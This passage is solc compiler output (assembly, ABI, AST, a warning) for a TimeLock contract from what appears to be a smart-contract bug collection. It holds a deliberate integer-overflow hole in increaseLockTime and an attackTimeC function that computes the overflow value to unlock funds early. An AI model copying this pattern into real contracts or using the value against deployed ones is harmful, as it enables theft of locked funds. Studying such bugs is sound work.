"end": 420, | |
"name": "POP" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "POP" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 378, | |
"end": 420, | |
"name": "POP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "POP" | |
}, | |
{ | |
"begin": 311, | |
"end": 427, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "tag", | |
"value": "22" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "POP" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 100, | |
"end": 140, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "tag", | |
"value": "24" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 239, | |
"end": 248, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 215, | |
"end": 223, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 224, | |
"end": 234, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "AND" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "AND" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 215, | |
"end": 235, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "POP" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "POP" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 215, | |
"end": 248, | |
"name": "POP" | |
}, | |
{ | |
"begin": 287, | |
"end": 294, | |
"name": "PUSH", | |
"value": "93A80" | |
}, | |
{ | |
"begin": 281, | |
"end": 284, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 281, | |
"end": 294, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 258, | |
"end": 266, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 267, | |
"end": 277, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "AND" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "AND" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 258, | |
"end": 278, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 258, | |
"end": 294, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 258, | |
"end": 294, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 258, | |
"end": 294, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 258, | |
"end": 294, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 301, | |
"name": "JUMP", | |
"value": "[out]" | |
} | |
] | |
} | |
} | |
}, | |
"methodIdentifiers": { | |
"attackTimeC()": "2115eabd", | |
"balances(address)": "27e235e3", | |
"deposit()": "d0e30db0", | |
"increaseLockTime(uint256)": "79af55e4", | |
"lockTime(address)": "a4beda63", | |
"withdraw()": "3ccfd60b" | |
} | |
}, | |
"metadata": "{\"compiler\":{\"version\":\"0.4.26+commit.4563c3fc\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"constant\":true,\"inputs\":[],\"name\":\"attackTimeC\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"withdraw\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_secondsToIncrease\",\"type\":\"uint256\"}],\"name\":\"increaseLockTime\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"lockTime\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"deposit\",\"outputs\":[],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"bit-smartcontract-bug/overflow/TimeLock.sol\":\"TimeLock\"},\"evmVersion\":\"byzantium\",\"libraries\":{},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"bit-smartcontract-bug/overflow/TimeLock.sol\":{\"keccak256\":\"0xdd4e45cc5f054861dd88469851e44a46f63c84b6caa1940e356a0677b5168267\",\"urls\":[\"bzzr://ca6953ae706c67eb11074a2ac91b10f4d7ef58bf7221ed7cfc17737045813484\"]}},\"version\":1}", | |
"userdoc": { | |
"methods": {} | |
} | |
} | |
} | |
}, | |
"errors": [ | |
{ | |
"component": "general", | |
"formattedMessage": "bit-smartcontract-bug/overflow/TimeLock.sol:26:10: Warning: Function declared as view, but this expression (potentially) modifies the state and thus requires non-payable (the default) or payable.\n attackTime = 2**256 - 1 - lockTime[msg.sender] +1;\n ^--------^\n", | |
"message": "Function declared as view, but this expression (potentially) modifies the state and thus requires non-payable (the default) or payable.", | |
"severity": "warning", | |
"sourceLocation": { | |
"end": 777, | |
"file": "bit-smartcontract-bug/overflow/TimeLock.sol", | |
"start": 767 | |
}, | |
"type": "Warning" | |
} | |
], | |
"sources": { | |
"bit-smartcontract-bug/overflow/TimeLock.sol": { | |
"ast": { | |
"absolutePath": "bit-smartcontract-bug/overflow/TimeLock.sol", | |
"exportedSymbols": { | |
"TimeLock": [ | |
106 | |
] | |
}, | |
"id": 107, | |
"nodeType": "SourceUnit", | |
"nodes": [ | |
{ | |
"id": 1, | |
"literals": [ | |
"solidity", | |
"^", | |
"0.4", | |
".26" | |
], | |
"nodeType": "PragmaDirective", | |
"src": "0:24:0" | |
}, | |
{ | |
"baseContracts": [], | |
"contractDependencies": [], | |
"contractKind": "contract", | |
"documentation": null, | |
"fullyImplemented": true, | |
"id": 106, | |
"linearizedBaseContracts": [ | |
106 | |
], | |
"name": "TimeLock", | |
"nodeType": "ContractDefinition", | |
"nodes": [ | |
{ | |
"constant": false, | |
"id": 5, | |
"name": "balances", | |
"nodeType": "VariableDeclaration", | |
"scope": 106, | |
"src": "54:40:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 4, | |
"keyType": { | |
"id": 2, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "62:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "54:24:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 3, | |
"name": "uint", | |
"nodeType": "ElementaryTypeName", | |
"src": "73:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 9, | |
"name": "lockTime", | |
"nodeType": "VariableDeclaration", | |
"scope": 106, | |
"src": "100:40:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 8, | |
"keyType": { | |
"id": 6, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "108:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "100:24:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 7, | |
"name": "uint", | |
"nodeType": "ElementaryTypeName", | |
"src": "119:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 11, | |
"name": "attackTime", | |
"nodeType": "VariableDeclaration", | |
"scope": 106, | |
"src": "146:15:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 10, | |
"name": "uint", | |
"nodeType": "ElementaryTypeName", | |
"src": "146:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
}, | |
{ | |
"body": { | |
"id": 31, | |
"nodeType": "Block", | |
"src": "205:96:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 20, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 14, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 5, | |
"src": "215:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 17, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 15, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "224:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 16, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "224:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "215:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "+=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 18, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "239:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 19, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "239:9:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "215:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 21, | |
"nodeType": "ExpressionStatement", | |
"src": "215:33:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 29, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 22, | |
"name": "lockTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 9, | |
"src": "258:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 25, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 23, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "267:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 24, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "267:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "258:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 28, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 26, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 123, | |
"src": "281:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": "+", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 27, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "287:7:0", | |
"subdenomination": "weeks", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_604800_by_1", | |
"typeString": "int_const 604800" | |
}, | |
"value": "1" | |
}, | |
"src": "281:13:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "258:36:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 30, | |
"nodeType": "ExpressionStatement", | |
"src": "258:36:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 32, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "deposit", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 12, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "188:2:0" | |
}, | |
"payable": true, | |
"returnParameters": { | |
"id": 13, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "205:0:0" | |
}, | |
"scope": 106, | |
"src": "172:129:0", | |
"stateMutability": "payable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 44, | |
"nodeType": "Block", | |
"src": "368:59:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 42, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 37, | |
"name": "lockTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 9, | |
"src": "378:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 40, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 38, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "387:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 39, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "387:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "378:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "+=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"id": 41, | |
"name": "_secondsToIncrease", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 34, | |
"src": "402:18:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "378:42:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 43, | |
"nodeType": "ExpressionStatement", | |
"src": "378:42:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 45, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "increaseLockTime", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 35, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 34, | |
"name": "_secondsToIncrease", | |
"nodeType": "VariableDeclaration", | |
"scope": 45, | |
"src": "337:23:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 33, | |
"name": "uint", | |
"nodeType": "ElementaryTypeName", | |
"src": "337:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
} | |
], | |
"src": "336:25:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 36, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "368:0:0" | |
}, | |
"scope": 106, | |
"src": "311:116:0", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 81, | |
"nodeType": "Block", | |
"src": "464:167:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 54, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 49, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 5, | |
"src": "482:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 52, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 50, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "491:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 51, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "491:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "482:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "30", | |
"id": 53, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "505:1:0", | |
"subdenomination": null, | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_0_by_1", | |
"typeString": "int_const 0" | |
}, | |
"value": "0" | |
}, | |
"src": "482:24:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 48, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
124, | |
125 | |
], | |
"referencedDeclaration": 124, | |
"src": "474:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 55, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "474:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 56, | |
"nodeType": "ExpressionStatement", | |
"src": "474:33:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 63, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"id": 58, | |
"name": "now", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 123, | |
"src": "525:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">", | |
"rightExpression": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 59, | |
"name": "lockTime", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 9, | |
"src": "531:8:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 62, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 60, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 121, | |
"src": "540:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 61, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "540:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": false, | |
"nodeType": "IndexAccess", | |
"src": "531:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "525:26:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 57, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
124, | |
125 | |
], | |
"referencedDeclaration": 124, | |
"src": "517:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 64, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
